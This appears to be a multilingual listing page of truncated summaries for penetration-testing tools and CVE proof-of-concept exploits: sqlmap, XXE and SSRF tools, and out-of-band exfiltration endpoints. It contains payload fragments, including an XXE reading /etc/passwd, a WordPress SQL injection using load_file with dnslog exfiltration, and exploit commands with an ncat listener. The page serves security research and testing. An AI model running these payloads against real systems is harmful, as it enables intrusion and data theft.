w3af

w3af - إطار عمل هجوم وتدقيق تطبيقات الويب w3af هو ماسح أمان تطبيقات ويب مفتوح المصدر يساعد المطورين ومختبر الاختراق على تحديد واستغلال الثغرات في تطبيقات الويب الخاصة بهم. الماسح قادر على تحديد أكثر من 200 ثغرة، بما في ذلك Cross-Site Scripting، SQL injection و OS commanding. المساهمة طلبات السحب...

sqlmap

sqlmap sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switche...

sqlmap

sqlmap sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नी...

mole

Mole إطار عمل لتحديد واستغلال الثغرات خارج النطاق OOB. التثبيت والإعداد تثبيت Mole بايثون = 3.6 virtualenv -p /usr/bin/python3 venv source venv/bin/activate ./venv/bin/pip3 install -r requirements.txt git submodule update --init --recursive تعيين مفتاح API في config.yml يجب أن يكون نفسه للعميل...

lorsrf

LORSRF - 2.1 لورسرف Lorsrf هي أداة اختبار اختراق ويب قوية مصممة لتحديد المعاملات التي يمكن استغلالها في هجمات SSRF أو تحميل الموارد خارج النطاق. عن طريق إضافة مضيف OAST مثل Burp Collaborator إلى قيمة المعامل، يمكن لـ Lorsrf إنشاء طلب HTTP يتم استقباله في Burp Collaborator، دون أي معلومات فعلية عن...

Arecibo

Arecibo نقطة نهاية لاستخراج البيانات خارج النطاق DNS & HTTP المؤلفون Juan Manuel Fernández @TheXC3LL & Pablo Martinez @Xassiz استخراج DNS أنشئ رمزًا مميزًا جديدًا: root@kitploit: curl localhost:5000/generatedns "htoken": "c008b5dd22817c50441522f917c66743" الآن يمكنك استخدام هذا الرمز التعريفي...

cve-2022-33891

cve-2022-33891 الاستخدام: root@kitploit: pip3 install requests If you do not use the -d parameter, the dnslog domain name will be automatically applied for you. 如果你不使用-d参数，则会自动为您申请dnslog域名。 python3 cve202233891poc.py -u http://127.0.0.1 python3 cve202233891poc.py -f url.txt python3...

xcat

XCat XCat is a command line tool to exploit and investigate blind XPath injection vulnerabilities. For a complete reference read the documentation here: https://xcat.readthedocs.io/en/latest/ It supports an large number of features: Auto-selects injections run xcat injections for a list Detects t...

dnsobserver

DNSObserver Um serviço DNS prático escrito em Go para auxiliar na detecção de vários tipos de vulnerabilidades cegas. Ele monitora o servidor de um pentester para interações DNS fora da banda e envia notificações com os detalhes da requisição recebida via Slack. O DNSObserver pode ajudar você a...

CVE-2021-3262

CVE-2021-3262 Iniezione SQL in TripSpark VEO Transportation / NovusEDU La pagina di ricerca pubblica "Student Busing Information" distribuita con TripSpark VEO Transportation accetta input non autenticati nel corpo della richiesta POST e li concatena in una query SQL Server senza parametrizzazion...

Grassmarlin-CVE-2026-6807-XXE-POC

Este é um código de prova de conceito funcional baseado na divulgação da CISA sobre uma vulnerabilidade relatada no Grassmarlin, publicada em 28/04/2026. Analisando o código do Grassmarlin, determinei que os parâmetros provavelmente vulneráveis estavam relacionados aos arquivos XML ingeridos ao...

CVE-2025-25198-PoC

CVE-2025-25198-PoC Proof-of-concept per CVE-2025-25198, un problema di avvelenamento dell'header Host che interessa i flussi di reimpostazione della password di Mailcow. Lo script avvia un listener HTTPS locale sulla porta 443, ottiene automaticamente un token CSRF valido, invia la sequenza di...

CVE-2022-42889-POC

CVE-2022-42889-POC Una semplice applicazione demo che mostra come sfruttare la vulnerabilità CVE-2022-42889. Utilizza servizi OOB Out of Band per dimostrare i prefissi dns e url. JavaDocs per commons-text interpolation commons-text JavaDocs Esempi di interpolazioni script:javascript...

RMASmoke

RMASmoke Uno strumento per disabilitare la Write-Protect tramite una scrittura oob nel TPM2 COMPILAZIONE Vedi BUILDING.MD;...

RaspAP <=2.6.5 - Remote Command Injection

RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/getnetcfg.php, when the "iface" parameter value contains special characters such as ";". id: CVE-2021-33357 info: name: RaspAP =2.6.5 - Remote Command Injection...

AirFlow < 2.4.0 - Remote Code Execution

A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided runid parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0. id: CVE-2022-40127 info: name: AirFlow 2.4.0 -...

CVE-2025-32375

Configurazione per la versione vulnerabile. Avvia il container vulnerabile: root@kitploit: docker compose up Crea un listener es. ncat: root@kitploit: ncat -klnv 1337 Esegui l'exploit: root@kitploit: python3 exploit.py Dovresti ricevere una richiesta HTTP nella finestra di ncat con il contenuto d...

CVE-2025-7766

CVE-2025-7766 PoC शोषण CVE-2025-7766 में XML बाहरी इकाई XXE कमजोरी का शोषण करने के लिए PoC। फ़ाइल पढ़ने /etc/passwd और आउट-ऑफ-बैंड HTTP कॉलबैक का प्रदर्शन। लेखक : Byte Reaper CVE : CVE-2025-7766 कमजोरी : XML बाहरी इकाई XXE के माध्यम से दूरस्थ कोड निष्पादन CVE-2025-7766 में XXE का शोषण करने के लिए...

XOE

XOE Sfrutta facilmente la vulnerabilità XXE Out-Of-Band Dettagli Questo strumento crea un file xml che contiene l'IP e la porta inseriti e ascolta la connessione per rispondere :D Screenshot...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 versão5.8.3 caminho: http://your target/wp-admin/admin-ajax.php O tipo de injeção é out-of-band, você precisa especificar o dnslog você mesmo e substituir ceye.io POST- DADOS："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select...